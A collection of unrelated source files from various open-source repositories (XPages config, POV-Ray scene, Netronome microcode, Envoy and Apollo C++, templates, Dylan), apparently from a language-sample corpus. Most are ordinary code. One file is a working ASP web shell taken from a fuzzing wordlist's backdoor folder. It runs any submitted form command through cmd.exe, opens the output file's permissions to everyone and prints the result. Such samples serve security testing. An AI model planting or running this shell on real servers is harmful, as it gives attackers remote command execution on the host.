<display-name>Selected Tab</display-name>
<property-name>selectedTab</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.xsp.extlib.designer.tooling.editor.XPageControlIDEditor</editor>
<editor-parameter>
http://www.ibm.com/xsp/coreex|djStackPane
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether to set a cookie to remember the selected child across sessions</description>
<display-name>Persist</display-name>
<property-name>persist</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Used to change the size of the currently displayed child to match the container size, true by default.</description>
<display-name>Do Layout</display-name>
<property-name>doLayout</property-name>
<property-class>boolean</property-class>
<property-extension>
<default-value>true</default-value>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.Widget</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.StackContainer</renderer-type>
<tag-name>djStackContainer</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
<!-- TODO Introduce simple action behaviour for switching current stack pane -->
<tags>
todo
</tags>
</designer-extension>
</component-extension>
</component>
<component>
<description>Similar to the tab pane, it can display other controls and will be displayed by the stack container without a tab.</description>
<display-name>Stack Pane</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.StackPane</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoStackPane</component-class>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.StackPane</renderer-type>
<tag-name>djStackPane</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>A container with up to five sections: left, right, top, bottom and a center which must be included.</description>
<display-name>Border Container</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.BorderContainer</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoBorderContainer</component-class>
<property>
<!-- # "headline", "sidebar" should not be translated -->
<description>Specifies which layout design should be used, either "headline" or "sidebar". The "headline" design has the top and bottom regions span the full width of the container. The "sidebar" design has the left and right regions span the full height of the container.</description>
<display-name>Design</display-name>
<property-name>design</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
headline
sidebar
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether to give each pane a border and margin.</description>
<display-name>Gutters</display-name>
<property-name>gutters</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether splitters resize while being dragged. Otherwise, resize is performed when the splitter is dropped.</description>
<display-name>Live Splitters</display-name>
<property-name>liveSplitters</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether to set a cookie to save splitter positions</description>
<display-name>Persist</display-name>
<property-name>persist</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.Widget</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.BorderContainer</renderer-type>
<tag-name>djBorderContainer</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>Similar to the tabbed pane, the border pane is used to hold additional controls and is display by the border container.</description>
<display-name>Border Pane</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.BorderPane</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoBorderPane</component-class>
<property>
<description>Specifies the minimum size of this control measured in pixels</description>
<display-name>Minimum Size</display-name>
<property-name>minSize</property-name>
<property-class>int</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the maximum size of this control measured in pixels</description>
<display-name>Maximum Size</display-name>
<property-name>maxSize</property-name>
<property-class>int</property-class>
<property-extension>
<default-value>2147483647</default-value>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether a splitter appears on the edge of the Border Pane so that resizing can occur.</description>
<display-name>Splitter</display-name>
<property-name>splitter</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<!-- # "top", "bottom", "leading", "trailing", "left", "right", "center" should not be translated -->
<description>Specifies where to position this control within its parent container. Valid values include "top", "bottom", "left", "right", and "center". Values of "leading" and "trailing" are also possible and differ from "left" and "right" in that they are relative to the Bidirectional orientation.</description>
<display-name>Region</display-name>
<property-name>region</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>format</category>
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
top
bottom
leading
trailing
left
right
center
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Border Panes with a higher Layout Priority will be placed closer to the Border Container center than Border Panes with a lower Layout Priority.</description>
<display-name>Layout Priority</display-name>
<property-name>layoutPriority</property-name>
<property-class>int</property-class>
<property-extension>
<designer-extension>
<category>format</category>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.BorderPane</renderer-type>
<tag-name>djBorderPane</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>Similar to the tab container, accordion container displays a list of panes and titles but only one is displayed at a time. When one is clicked it slides up to cover the previous displayed pane.</description>
<display-name>Accordion Container</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.AccordionContainer</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoAccordionContainer</component-class>
<property>
<description>Specifies the duration in number of milliseconds that it takes to slide between panes</description>
<display-name>Duration</display-name>
<property-name>duration</property-name>
<property-class>int</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Define the index of the selected tab.</description>
<display-name>Selected Tab</display-name>
<property-name>selectedTab</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Confirm whether this is the initially selected tab -->
<!-- TODO Confirm does not overwrite current open tab on partial refresh -->
<!-- TODO Investigate behaviour when used in custom control with wrapping outer div -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.Widget</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.AccordionContainer</renderer-type>
<tag-name>djAccordionContainer</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<component>
<description>Similar to the tab pane, the accordion pane is used to hold other controls that will be displayed by the accordion container.</description>
<display-name>Accordion Pane</display-name>
<component-type>com.ibm.xsp.extlib.dojo.layout.AccordionPane</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.layout.UIDojoAccordionPane</component-class>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.layout.ContentPane</base-component-type>
<component-family>javax.faces.Panel</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.layout.AccordionPane</renderer-type>
<tag-name>djAccordionPane</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
</designer-extension>
</component-extension>
</component>
<!-- End of Dojo Layout Controls -->
</faces-config>
| XPages | 4 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/runtime/eclipse/plugins/com.ibm.xsp.extlib.controls/src/com/ibm/xsp/extlib/config/raw-extlib-dojo-layout.xsp-config | [
"Apache-2.0"
] |
#include "colors.inc"
#include "metals.inc"
#default{finish{ambient 0.01}}
#global_settings{assumed_gamma 1.0 max_trace_level 5}
sky_sphere {
pigment { color MidnightBlue }
}
union {
union {
#include "dazzler.sub.pov"
texture {
pigment { color rgbf<0.0, 0.0, 0.0, 1.0> }
finish {
reflection { 0.10 }
specular 0.5
roughness .006
}
normal { bumps 0.005 }
}
}
union {
#include "dazzler.gtl.pov"
rotate <90, 0, 0>
translate <0 1.030 0>
texture {
pigment {P_Copper2}
finish {F_MetalA }
}
}
union {
#include "dazzler.gto.pov"
rotate <90, 0, 0>
translate <0 1.031 0>
texture {
pigment {White}
}
}
translate <-25, 0, -20>
rotate <0, clock*30, 0>
translate <25, 0, 20>
}
light_source{<80, 180, 200> color rgb<.3 .3 .4>}
light_source{<25, 80, 80> color rgb<1.0 0.8 .4>}
| POV-Ray SDL | 3 | jamesbowman/cuflow | scene-dazzler.pov | [
"BSD-3-Clause"
] |
quiet
wow
such language
very syntax
github recognized wow
loud
such language much friendly
rly friendly is true
plz console.loge with 'such friend, very inclusive'
but
plz console.loge with 'no love for doge'
wow
wow
module.exports is language | Dogescript | 0 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Dogescript/example.djs | [
"MIT"
] |
/*
* Copyright (C) 2017-2019 Netronome Systems, Inc. All rights reserved.
*
* @file slicc_hash.uc
* @brief Stereoscopic Locomotive Interleaved Cryptographic CRC Hash
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#ifndef _SLICC_HASH
#define _SLICC_HASH
#include <passert.uc>
#include <preproc.uc>
#include <stdmac.uc>
#include "slicc_hash.h"
#define_eval SLICC_HASH_PAD_NN_ADDR (SLICC_HASH_PAD_NN_IDX << 2)
#macro slicc_hash_init_nn()
.begin
.reg act_ctx_sts
.reg offset
.reg pad_base
.reg reflect_base
.reg $pad[8]
.xfer_order $pad
.sig sig_reflect
.sig volatile sig_reflected
.sig sig_pad
.if (ctx() == 0)
local_csr_rd[active_ctx_sts]
immed[act_ctx_sts, 0]
alu[reflect_base, 0xf, AND, act_ctx_sts, >>3]
alu[reflect_base, --, B, reflect_base, <<17]
alu[reflect_base, reflect_base, OR, __ISLAND, <<24]
alu[reflect_base, reflect_base, OR, &sig_reflected, <<10]
alu[reflect_base, reflect_base, OR, 0x01, <<9]
alu[reflect_base, reflect_base, OR, SLICC_HASH_PAD_NN_IDX, <<2]
move(pad_base, (SLICC_HASH_PAD_DATA >> 8))
passert(SLICC_HASH_PAD_SIZE_LW, "MULTIPLE_OF", 8)
move(offset, 0)
.while (offset < (SLICC_HASH_PAD_SIZE_LW * 4))
mem[read32, $pad[0], pad_base, <<8, offset, 8], ctx_swap[sig_pad]
aggregate_copy($pad, $pad, 8)
.set_sig sig_reflected
ct[ctnn_write, $pad[0], reflect_base, offset, 8], ctx_swap[sig_reflect]
alu[offset, offset, +, (8 * 4)]
ctx_arb[sig_reflected]
// work around for SDN-1658 / THS-163
.repeat
timestamp_sleep(3)
.until (!SIGNAL(sig_reflected))
.endw
.endif
.end
#endm
/* The primary purpose of each round is to efficiently incorporate an additional word of
* the input key into the internal hash state. In doing so, the goal is to have each bit
* of the input word affect as many bits of the internal state as possible. Additionally,
* it should not be possible to manipulate the input key in such a way as to cause hash
* collisions. For this reason, the internal state is permuted during each step by XORing
* it with a randomly generated cryptographic pad, such that the effect of prior bits of
* the input key on the internal state cannot be predicted.
*
* SLICC_HASH maintains 96 bits of internal state. A 32 bit residual is updated using the
* CRC32 algorithm during each round. The remaining two words of state are updated in an
* interleaved fashion. This interleaving was initially undertaken purely to optimize
* instruction usage, however, it also serves another useful purpose - it proliferates
* the direct effect of any given input word into later stages (ie. after the effect of
* subsequent input words have been incorporated into the internal state). The collapse
* of the internal state into fewer bits is thus delayed. These two words of state each
* maintain a very different perspective of the input key, hence the stereoscopic nature
* of this hash.
*
* In a given round, summation with the input key is used to update one of the two
* stereoscopic views. The addition operation is chosen because of its ability to cascade
* via carries into more significant bit positions. In this way, the specific value of
* any given bit has the capacity to affect more than its own bit position in the state.
* Carries out of the most significant bit position are preserved and incorporated in
* subsequent rounds for the same reason (in order to affect more bit positions of the
* internal state).
*
* Instead of utilizing each subsequent word of the input key to update the CRC32, the
* cumulative value of the current perspective of the internal state is used. By feeding
* the CRC32 using the accumulated state, which also incorporates cryptographic permutations
* from prior rounds, the properties of the cyclic redundancy calculation that could otherwise
* be exploited to cause collisions in the CRC32 residual space are effectively thwarted.
* Using the accumulated state also serves to provide for better mixing of input bits, since
* the cumlative prior state is reincorporated into the CRC32 calculation in new and different
* ways during each round. This way, the mixing provided by the CRC32 function is amplified.
*
* Next, the internal state of the neighboring stereoscoptic perspective is permuted using
* the cryptographic pad. Since the output of the hash is not visible to attackers in
* typical applications, it is safe to reuse the same pad for each subsequent invocation
* of the hash (to do otherwise would obviously render the hash function pretty useless in
* practice). The pad should be generated during initialization using a secure random
* generator and can be recomputed periodically at the cost of changing the hash function
* output for a given input key (in practice, invalidating caches based on the hash). The
* subtlety here is that the locomotion of state provided in the next instruction is
* specified by the least significant 5 bits of the neighboring stereoscopic perspective.
*
* Finally, the state bits are moved (the locomotion), so that every subsequent input bit
* has opportunity to influence differing output bit positions. The movement is provided
* for by a rotation instead of a shift operation so that no entropy is lost to being
* shifted out of a register. Precisely which bits of state are influenced by which bits
* of input are specified by the accumulated and unpredictable prior state of the other
* stereoscopic perspective. Through the cumulative rotations in subsequent rounds, the
* values in differing bit positions of the previously processed input words will come to
* bear on the degree of locomotion incurred in the alternative perspective.
*
*/
.reg __slicc_hash_ret_addr
.reg __slicc_hash_copy
.reg __slicc_hash_state[2]
.reg __slicc_hash_tail_mask
.if (0)
.subroutine
.begin
.reg tmp
#define LOOP 0
#while (LOOP < (SLICC_HASH_PAD_SIZE_LW - 3))
__slicc_hash_round/**/LOOP#:
alu[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[(LOOP % 2)], +carry, *l$index0++]
crc_be[crc_32, __slicc_hash_copy, __slicc_hash_state[(LOOP % 2)]], no_cc
alu[__slicc_hash_state[((LOOP + 1) % 2)], __slicc_hash_state[((LOOP + 1) % 2)], XOR, *n$index++], no_cc
dbl_shf[__slicc_hash_state[(LOOP % 2)], __slicc_hash_copy, __slicc_hash_state[(LOOP % 2)], >>indirect], no_cc
#define_eval LOOP (LOOP + 1)
#endloop
__slicc_hash_round/**/LOOP#:
alu[tmp, __slicc_hash_tail_mask, AND, *l$index0++], no_cc
alu[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[(LOOP % 2)], +carry, tmp]
alu[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[(LOOP % 2)], XOR, *n$index++]
crc_be[crc_32, __slicc_hash_copy, __slicc_hash_state[(LOOP % 2)]]
mul_step[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[((LOOP + 1) % 2)]], 32x32_start
mul_step[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[((LOOP + 1) % 2)]], 32x32_step1
mul_step[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[((LOOP + 1) % 2)]], 32x32_step2
mul_step[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[((LOOP + 1) % 2)]], 32x32_step3
mul_step[__slicc_hash_state[(LOOP % 2)], __slicc_hash_state[((LOOP + 1) % 2)]], 32x32_step4
mul_step[__slicc_hash_state[0], --], 32x32_last
mul_step[__slicc_hash_state[1], --], 32x32_last2
#undef LOOP
rtn[__slicc_hash_ret_addr], defer[3]
local_csr_rd[CRC_REMAINDER]
.reg_addr __slicc_hash_state[0] 3 B
immed[__slicc_hash_state[0], 0]
.reg_addr __slicc_hash_state[1] 4 B
alu[__slicc_hash_state[1], __slicc_hash_state[0], XOR, __slicc_hash_state[1]]
.end
.endsub
.endif
#macro slicc_hash_words(out_hash, in_salt, in_addr, in_len_words, in_tail_mask)
.begin
.reg offset
#if (is_ct_const(in_len_words))
passert(in_len_words, "GE", 0)
passert(in_len_words, "LE", (SLICC_HASH_PAD_SIZE_LW - 2))
move(offset, ((SLICC_HASH_PAD_SIZE_LW - 2 - in_len_words) * 4))
#else
alu[offset, (SLICC_HASH_PAD_SIZE_LW - 2), -, in_len_words]
blo[overflow#]
alu[offset, --, B, offset, <<2]
#endif
local_csr_wr[NN_GET, SLICC_HASH_PAD_NN_IDX]
local_csr_wr[CRC_REMAINDER, in_len_words]
#if (is_rt_const(in_addr) || is_ct_const(in_addr) && in_addr > 255)
.reg addr
move(addr, in_addr)
local_csr_wr[ACTIVE_LM_ADDR_0, addr]
#else
local_csr_wr[ACTIVE_LM_ADDR_0, in_addr]
#endif
move(__slicc_hash_tail_mask, in_tail_mask)
#if (is_ct_const(in_salt) && in_salt > 255)
.reg salt
move(salt, in_salt)
alu[__slicc_hash_state[0], salt, XOR, *n$index++]
#else
alu[__slicc_hash_state[0], in_salt, XOR, *n$index++]
#endif
preproc_jump_targets(__slicc_hash_round, (SLICC_HASH_PAD_SIZE_LW - 2))
jump[offset, __slicc_hash_round0#], targets[PREPROC_LIST], defer[3]
crc_be[crc_32, __slicc_hash_copy, __slicc_hash_state[0]]
alu[__slicc_hash_state[1], __slicc_hash_tail_mask, XOR, *n$index++]
load_addr[__slicc_hash_ret_addr, end#]
#if (!is_ct_const(in_len_words))
overflow#:
.reg_addr __slicc_hash_state[0] 3 B
immed[__slicc_hash_state[0], 0]
.reg_addr __slicc_hash_state[1] 4 B
immed[__slicc_hash_state[1], 0]
#endif
end#:
.use __slicc_hash_state[0]
.reg_addr out_hash[0] 3 B
.set out_hash[0]
.use __slicc_hash_state[1]
.reg_addr out_hash[1] 4 B
.set out_hash[1]
.end
#endm
#macro slicc_hash_words(out_hash, in_salt, in_addr, in_len_words)
slicc_hash_words(out_hash, in_salt, in_addr, in_len_words, 0xffffffff)
#endm
#macro slicc_hash_bytes(out_hash, in_salt, in_addr, in_len_bytes, ENDIAN)
.begin
.reg msk
.reg shift
.reg words
#if (streq('ENDIAN', 'LE'))
alu[shift, (3 << 3), AND, in_len_bytes, <<3]
#if (is_ct_const(in_len_bytes))
beq[skip#], defer[2]
immed[words, ((in_len_bytes + 3) / 4)]
#else
beq[skip#], defer[3]
alu[words, in_len_bytes, +, 3]
alu[words, --, B, words, >>2]
#endif
alu[msk, shift, ~B, 0]
alu[msk, --, ~B, msk, <<indirect]
skip#:
#elif (streq('ENDIAN', 'BE'))
#if (is_ct_const(in_len_bytes))
immed[words, ((in_len_bytes + 3) / 4)]
immed[shift, (((in_len_bytes + 3) % 4) * 8)]
#else
alu[words, in_len_bytes, +, 3]
alu[shift, (3 << 3), AND, words, <<3]
alu[words, --, B, words, >>2]
#endif
alu[msk, shift, B, 0xff, <<24]
asr[msk, msk, >>indirect]
#else
#error "slicc_hash_bytes(): unknown byte order: " ENDIAN
#endif
slicc_hash_words(out_hash, in_salt, in_addr, words, msk)
.end
#endm
#macro slicc_hash_bytes(out_hash, in_salt, in_addr, in_len_bytes)
slicc_hash_bytes(out_hash, in_salt, in_addr, in_len_bytes, BE)
#endm
#endif
| UnrealScript | 5 | pcasconnetronome/nic-firmware | firmware/apps/nic/slicc_hash.uc | [
"BSD-2-Clause"
] |
<%
' ASP Cmd Shell On IIS 5.1
' brett.moore_at_security-assessment.com
' http://seclists.org/bugtraq/2006/Dec/0226.html
Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")
If (szCMD <> "") Then
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>
<!-- http://michaeldaw.org 2006 -->
| ASP | 2 | ismailbozkurt/angryFuzzer | fuzzdb/web-backdoors/asp/cmd-asp-5.1.asp | [
"MIT"
] |
<#ftl strip_whitespace=true>
<#if reports?has_content>
# API Change analysis Results
The summary of the API changes between artifacts <#list analysis.oldApi.archives as archive>`${archive.name}`<#sep>, </#list> and
<#list analysis.newApi.archives as archive>`${archive.name}`<#sep>, </#list>
[cols="1,1,1,1,1", options="header"]
.Changes
|===
|Code
|Element
|Classification
|Description
|Justification
<#list reports as report>
<#list report.differences as diff>
|${diff.code}
|<#if report.newElement??>*${report.newElement}*</#if>
<#if report.oldElement??>*${report.oldElement}*</#if>
<#if diff.attachments['exampleUseChainInNewApi']??>
Example use chain in new api:
<#list diff.attachments['exampleUseChainInNewApi']?split(" <- ") as e>
<-${e}
</#list>
</#if>
<#if diff.attachments['exampleUseChainInOldApi']?? && diff.attachments['exampleUseChainInNewApi']! != diff.attachments['exampleUseChainInOldApi']>
Example use chain in old api:
<#list diff.attachments['exampleUseChainInOldApi']?split(" <- ") as e>
<-${e}
</#list>
</#if>
<#list diff.attachments?keys as key>
<#if !['newArchive', 'newArchiveRole', 'oldArchive', 'oldArchiveRole','package','classQualifiedName','classSimpleName','elementKind','exception','methodName','exampleUseChainInNewApi','exampleUseChainInOldApi','fieldName']?seq_contains(key)>
${key} = ${diff.attachments[key]}
</#if>
</#list>
|<#list diff.classification?keys as compat><#if diff.classification?api.get(compat) != "NON_BREAKING"> ${compat?capitalize}: ${diff.classification?api.get(compat)?capitalize?replace("_","")}${'\n'}</#if></#list>
|${diff.description}
|${diff.justification!""}
</#list>
</#list>
|===
</#if> | FreeMarker | 4 | benoit-sns/quarkus | independent-projects/revapi/src/main/resources/META-INF/revapi.ftl | [
"Apache-2.0"
] |
Library: button-ocx
Synopsis: Demonstrate using a DUIM gadget as an OLE Control.
Files: library
control
store
run
Target-type: DLL
Compilation-mode: tight
Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc.
All rights reserved.
License: See License.txt in this distribution for details.
Warranty: Distributed WITHOUT WARRANTY OF ANY KIND
Other-files: README.html
| Dylan | 1 | kryptine/opendylan | sources/ole/examples/button-ocx/button-ocx.lid | [
"BSD-2-Clause"
] |
: main
me @ "Hello World" notify
;
| MUF | 1 | venusing1998/hello-world | m/muf.muf | [
"MIT"
] |
//===--- ErrorObjectTestSupport.h - Support for Instruments.app -*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2019 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Swift runtime support for tests involving errors.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_RUNTIME_ERROROBJECT_TEST_SUPPORT_H
#define SWIFT_RUNTIME_ERROROBJECT_TEST_SUPPORT_H
namespace swift {
SWIFT_RUNTIME_EXPORT void (*_swift_willThrow)(SwiftError *error);
}
#endif
| C | 3 | lwhsu/swift | stdlib/public/runtime/ErrorObjectTestSupport.h | [
"Apache-2.0"
] |
Module: system-internals
define constant $architecture-little-endian? :: <boolean> = #t;
define constant $machine-name = #"arm";
define constant $os-name = #"linux";
| Dylan | 3 | kryptine/opendylan | sources/system/arm-linux-operating-system.dylan | [
"BSD-2-Clause"
] |
import "std/test"
test.run("Exceptions", fn(assert) {
let fastVar = 42
const myException = fn() {
myException2()
}
const myException2 = fn() {
throw "Nope"
}
let m1 = try {
myException()
} catch e {
errorVal(e)
}
assert.isEq(m1, "Nope")
assert.isTrue(isDefined("fastVar"))
assert.isFalse(isDefined("e"))
})
| Inform 7 | 3 | lfkeitel/nitrogen | tests/basic/exceptions.ni | [
"BSD-3-Clause"
] |
#pragma once
#include "envoy/extensions/http/original_ip_detection/xff/v3/xff.pb.h"
#include "envoy/http/original_ip_detection.h"
namespace Envoy {
namespace Extensions {
namespace Http {
namespace OriginalIPDetection {
namespace Xff {
/**
* XFF (x-forwarded-for) IP detection extension.
*/
class XffIPDetection : public Envoy::Http::OriginalIPDetection {
public:
XffIPDetection(const envoy::extensions::http::original_ip_detection::xff::v3::XffConfig& config);
XffIPDetection(uint32_t xff_num_trusted_hops);
Envoy::Http::OriginalIPDetectionResult
detect(Envoy::Http::OriginalIPDetectionParams& params) override;
private:
const uint32_t xff_num_trusted_hops_;
};
} // namespace Xff
} // namespace OriginalIPDetection
} // namespace Http
} // namespace Extensions
} // namespace Envoy
| C | 4 | dcillera/envoy | source/extensions/http/original_ip_detection/xff/xff.h | [
"Apache-2.0"
] |
; Extern readcpul
extern m#read#cpul
; Prints a string to the default console
; Arguments:
; RDI - the pointer to the string
; RSI - the number of characters to print
m#read#cpul:
; Move integer (size of char pointer) to edx
mov rdx, rsi
; Move char pointer to rsi
mov rsi, rdi
; write syscall
mov rax, 0 ; READ
mov rdi, 1 ; STDOUT
syscall
nret
| Parrot Assembly | 4 | giag3/peng-utils | lib/std-lib/unix/asm/read.pasm | [
"MIT"
] |
/******************************************************************************
* Copyright 2017 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
/**
* @file
**/
#include "modules/planning/math/smoothing_spline/osqp_spline_1d_solver.h"
#include "gtest/gtest.h"
namespace apollo {
namespace planning {
TEST(OsqpSpline1dSolver, one) {
// starting point
std::vector<double> x_knots{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
OsqpSpline1dSolver pg(x_knots, 6);
auto* spline_constraint = pg.mutable_spline_constraint();
auto* spline_kernel = pg.mutable_spline_kernel();
ASSERT_TRUE(spline_constraint != nullptr);
ASSERT_TRUE(spline_kernel != nullptr);
std::vector<double> x_coord{0, 0.4, 0.8, 1.2, 1.6, 2, 2.4,
2.8, 3.2, 3.6, 4, 4.4, 4.8, 5.2,
5.6, 6, 6.4, 6.8, 7.2, 7.6, 8};
std::vector<double> fx_guide{
0, 1.8, 3.6, 5.14901, 6.7408, 8.46267, 10.2627,
12.0627, 13.8627, 15.6627, 17.4627, 19.2627, 21.0627, 22.8627,
24.6627, 26.4627, 28.2627, 30.0627, 31.8627, 33.6627, 35.4627};
std::vector<double> lower_bound(x_coord.size(), 0.0);
std::vector<double> upper_bound(x_coord.size(), 68.4432);
spline_constraint->AddBoundary(x_coord, lower_bound, upper_bound);
std::vector<double> speed_lower_bound(x_coord.size(), 0.0);
std::vector<double> speed_upper_bound(x_coord.size(), 4.5);
spline_constraint->AddDerivativeBoundary(x_coord, speed_lower_bound,
speed_upper_bound);
// add jointness smooth constraint, up to jerk level continuous
spline_constraint->AddThirdDerivativeSmoothConstraint();
spline_constraint->AddMonotoneInequalityConstraintAtKnots();
spline_constraint->AddPointConstraint(0.0, 0.0);
spline_constraint->AddPointDerivativeConstraint(0.0, 4.2194442749023438);
spline_constraint->AddPointSecondDerivativeConstraint(0.0,
1.2431812867484089);
spline_constraint->AddPointSecondDerivativeConstraint(8.0, 0.0);
// add kernel (optimize kernel);
// jerk cost
spline_kernel->AddThirdOrderDerivativeMatrix(1000.0);
spline_kernel->AddReferenceLineKernelMatrix(x_coord, fx_guide, 0.4);
spline_kernel->AddRegularization(1.0);
EXPECT_TRUE(pg.Solve());
// extract parameters
auto params = pg.spline();
}
TEST(OsqpSpline1dSolver, two) {
// starting point
std::vector<double> x_knots{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
OsqpSpline1dSolver pg(x_knots, 6);
auto* spline_constraint = pg.mutable_spline_constraint();
auto* spline_kernel = pg.mutable_spline_kernel();
ASSERT_TRUE(spline_constraint != nullptr);
ASSERT_TRUE(spline_kernel != nullptr);
std::vector<double> x_coord{0, 0.4, 0.8, 1.2, 1.6, 2, 2.4,
2.8, 3.2, 3.6, 4, 4.4, 4.8, 5.2,
5.6, 6, 6.4, 6.8, 7.2, 7.6, 8};
std::vector<double> fx_guide{
0, 1.8, 3.6, 5.14901, 6.7408, 8.46267, 10.2627,
12.0627, 13.8627, 15.6627, 17.4627, 19.2627, 21.0627, 22.8627,
24.6627, 26.4627, 28.2627, 30.0627, 31.8627, 33.6627, 35.4627};
std::vector<double> lower_bound(x_coord.size(), 0.0);
std::vector<double> upper_bound(x_coord.size(), 68.4432);
spline_constraint->AddBoundary(x_coord, lower_bound, upper_bound);
std::vector<double> speed_lower_bound(x_coord.size(), 0.0);
std::vector<double> speed_upper_bound(x_coord.size(), 4.5);
spline_constraint->AddDerivativeBoundary(x_coord, speed_lower_bound,
speed_upper_bound);
